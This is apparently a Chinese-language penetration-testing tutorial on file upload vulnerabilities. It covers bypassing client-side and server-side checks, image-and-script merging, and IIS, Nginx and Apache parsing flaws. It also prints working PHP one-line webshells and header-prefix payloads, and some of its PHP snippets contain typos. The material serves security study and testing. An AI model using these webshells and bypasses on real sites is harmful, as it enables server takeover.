文件上传
文件上传一般使用的content-type是 multipart/form-data
文件上传是一个网站的常见功能,多用于上传照片,视频,文档等许多类型文件。
一般文件上传的流程如下:
- 前端选择文件进行提交
- 浏览器形成POST MultiPart报文发送到服务器。
- 服务器中间件接受到报文,解析后交给相关后端代码进行处理
- 后端代码将上传的文件内容写入到临时文件中(php特有)
- 文件名为提交的文件名或以一定规则生成的文件名
文件上传漏洞
当文件上传点未对上传的文件进行严格的验证和过滤时,就容易造成任意文件上传,包括动态文件(asp/php/jsp等等)
如果上传的目标目录没有限制执行权限,导致所上传的动态文件(如webshell)可以正常执行并且可以访问,即造成了文件上传漏洞
存在上传漏洞的必要条件:
- 存在上传点
- 可以上传动态文件
- 上传目录有执行权限,并且上传的文件可执行
- 可访问到上传的动态文件
上传检测流程:
上传检测流程图.pngburpsuit相关
下载地址:http://portswigger.net/burp/
- 推荐配合插件SwitchyOmega使用,Chrome与Firefox均支持。
- burpsuit监听端口,如果使用了Tomcat/Squid一类默认监听8080端口的软件,可以修改burpsuit的监听端口
客户端检测绕过
- javascript检测:
通过浏览器提交上传请求前,触发检测用JS脚本进行检测。例如:普通表单上传- Flash AS 脚本检测:
上传用Flash中,提交上传请求前,触发检测用AS脚本进行检测。例如:DZ的头像上传- APP上传检测:
检测写在APP客户端代码中,或者调用的HTML页面中
客户端检测一般只检测文件扩展名。
客户端进行的检测,可通过对客户端代码的一些修改或直接拦截修改报文即可绕过,所以这种限制约等于没有
前端javascript检测绕过:
- 查看onchange,onsubmit等事件
onchange 事件会在域的内容改变时发生
onsubmit 事件会在表单中的确认按钮被点击时发生 - 删除掉相关事件的检测函数即可
例如:删掉 onsubmit="return checkFile()"
提交报文修改检测(前端检测通用):
- 首先选择正常的文件进行上传
- 然后通过burpsuit进行截包改包或改包重放完成文件上传。
这种方法前端绕过检测中通用,无需理会具体前端的检测代码,直接绕过前端进行上传报文的修改并提交。
APP端burpsuit抓包(HTTPS抓包):
- 将burpsuit的代理监听端口IP设置为"All Interface"
- 在wifi设置中将代理地址设置为"burppip:8080
- 访问http://burppip:8080下载证书
- (安卓)将修改证书扩展名为 .crt,设置->安全->凭据存储->从SD卡安装,选择证书进行安装。
- (ios)按照提示一路下一步安装
- (ios)进入设置->通用->关于本机->证书信任设置,将新添加的证书设置为信任
如果android app 使用了证书校验,可以配合Xposed框架的JustTrustMe使用,ios暂时没有办法。
Mumu模拟器打开wifi设置的方法:
adb connect 127.0.0.1:7555
adb shell am start -a android.settings.WIFI_SETTINGS
服务器端检测绕过
一般检测位置:
- 文件名
- MIME/TYPE (由浏览器根据扩展名自动生成)
- 文件内容
-
MIME类型检测绕过:
MIME对应报头的content-type
MIME简介:
- MIME (Multipurpose Internet Mail Extensions)是描述消息内容类型的因特网标准。
- MIME消息能包含文本,图像,音频, 视频及其他应用程序专用的数据
- 浏览器会自动根据所上传的文件的扩展名,对应到相应的MIME类型上
检测代码:
$upload_type = $_FILES['upload']['type'];
if(($upload_type == "image/jpeg" || $upload_type == "image/png" || &upload_type == "image/gif"))
常见的白名单MIME TYPE:
扩展名 | MIME TYPE |
---|---|
jpg | image/jpeg |
png | image/png |
txt | text/plain |
zip | application/zip |
doc | application/msword |
-
文件内容检测:
-
简单文件头检测:
文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分。
文件头的起始部分中一般开头标记文件类型。如gif的文件头为GIF89a 或 GIF87a
function isImage($file){
$fh = fopen($file, 'rb');
if($fh){
$bytes = fread($fh, 6);
fclose($fh);
if ($bytes == false){
return false;
}
if (substr($bytes,0,3) == "\xff\xd8\xff"){
return 'image/jpeg';
if ($bytes == "\x89png\x0d\x0a"){
return 'image/png';
}
if ($bytes == "GIF87a" or $bytes == "GIF89a"){
return 'image/gif';
}
}
return false;
}
如上图所示代码,是通过文件头的起始部分进行匹配,比较简单的一种文件类型检测方法。
这种简单的只对文件头部进行简单的匹配的方法,可以通过在上传的文件前追加合法的文件头进行绕过
如:GIF89a<?php phpinfo();?>
-
完整文件结构检测:
通过调用图像函数(如 getimagesize/imagecreateformgif/imagecreatefrompng) 进行检测文件是否为图像,需要文件内容保持相对完整,所以无法通过上种追加头部有起始字节的方法进行绕过。
if(@imagecreatefromif($upload_tmp)){
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])){
echo '文件上传成功,保存于: ' . $uploaddir . $_FILES['upfile']['name'] . "\n";
针对这种检测,可以将图片文件与欲上传的文件进行合并来进行绕过检测。
可以通过copy命令进行文件合并:
copy /b 1.jpg+phpinfo.php 1.php
tips:
-
合并后的文件只要未经过清洗或缩放等操作即可通过检测,并保持欲上传文件的完整
-
由于上传文件的图片部分在解析为PHP时会以乱码显示,建议与尽量小的图片文件进行合并,否则会有大量的乱码。
-
恶意文件内容检测:
检测提交内容中是否包含webshell等数据。
强混淆weevely进行尝试,kali自带
开源的webshell收集项目: https://gihub.com/tennc/webshell
文件上传小技巧:
- filename="phpinfo.png"; filename="phpinfo.php" (针对waf与服务器取值有差异的情况)
- 目录穿越
php一句话木马:
<?php @eval($_POST['pass']);?>
<?php eval($_POST['123'])?>
<?php eval($_POST['123']);?>
白名单绕过技巧
1、0x00 截断绕过
2、解析调用/漏洞绕过
黑名单绕过技巧
1、后缀名大小写绕过
2、名单列表绕过
3、特殊文件名绕过
4、0x00 截断绕过
5、双扩展名解析绕过攻击-基于web服务的解析逻辑 。
6、双扩展名解析绕过攻击-基于web服务的解析方式
常见解析漏洞
解析漏洞就是服务器在访问非动态文件时解析为了动态文件,是一个解析错误。
1. IIS/Nginx + PHP fastcgi取值错误解析漏洞(配置错误)
开启了cgi.fix_pathinfo,如果开启了以后,所执行文件不存在,会继续查找上一级文件是否存在。
并且未设置security.limit_extensions,该选项限制可以执行的文件类型。
示例:abcde.jpg/.php
利用方法:
- 上传一个含有webshell的图片文件
- 访问这个图片文件
- 在图片文件后面加上一个并不存在的php子目录文件
2. Nginx文件名逻辑漏洞(CVE-2013-4547)
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
利用方法:
- 上传一个以空格(20%)为结尾的文件, 例如:"abcd.jpg "
- 访问abcd.jpg20%%00.php时,会将刚刚上传的 “abcd.jpg " 文件,当做PHP进行执行。
tips:
一般的php匹配正则:.php$
存在漏洞时,Nginx将abcd.jpg20%人当做了脚本文件名
**Apache解析漏洞(配置错误)
如果在Apache的conf文件中有如下配置
AddHandler application/x-httpd-php.php
则abcd.php.jpg也会被当做php去执行
如果在.htaccess种有如下配置,可以将扩展名.xxx当做php执行
AddType application/x-httpd-php xxx
IIS 5.0到6.0解析漏洞
- 上传文件名:abcd.asp;.jpg
服务器默认不解析;号后面的内容,因此abcd.asp;.jpg被当做了asp文件解析 - 向xxx.asp目录下面上次abcde.jpg
服务器会将xxx.asp目录下的文件都当做asp文件解析
图片重绘:
应用调用图片库对上传的文件进行了图像转换,所以即使将图片与文件合并,也会将尾部转换掉,无法使用前面所将方法进行上传webshell
- 将正常图片用目标使用的图形库进行转换
- 寻找转换前后两次未变的部分
- 将未变部分替换为欲上传的webshell
- 将替换后的文件进行图像转换,看是否转换后webshell任然存在
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
cmd下图片合成
copy 1.jpg/b + 1.asp/a 2.jpg
tips:
Apache解析文件时,如果后缀名不认识,则会继续想前解析,会解析到php,这就是Apache的解析漏洞
例如:abcd.php.7z,7z格式是一种压缩文件的格式,但是Apache不识别7z后缀。
phpinfo与本地文件包含的利用
某站点存在本地文件包含及PHPINFO,可以利用其执行脚本
- PHP在解析multipart/form-data请求时,会创建临时文件,并写入上传内容执行脚本结束后即删除
- PHPINFO可以输出$_FILES信息
- 通过多种方式争取时间,在临时文件删除前进行执行包含
- 通过在数据报文中加入大量的垃圾数据,使PHPINFO页面过大,导致PHP输出进入流式输出,并不一次输出完毕
- 通过大量请求来延迟PHP脚本的执行速度
https://github.com/hxer/vulnapp.git
在线解压缩的利用
存在上传压缩包并解压的上传点,可使用如下方式利用
网友评论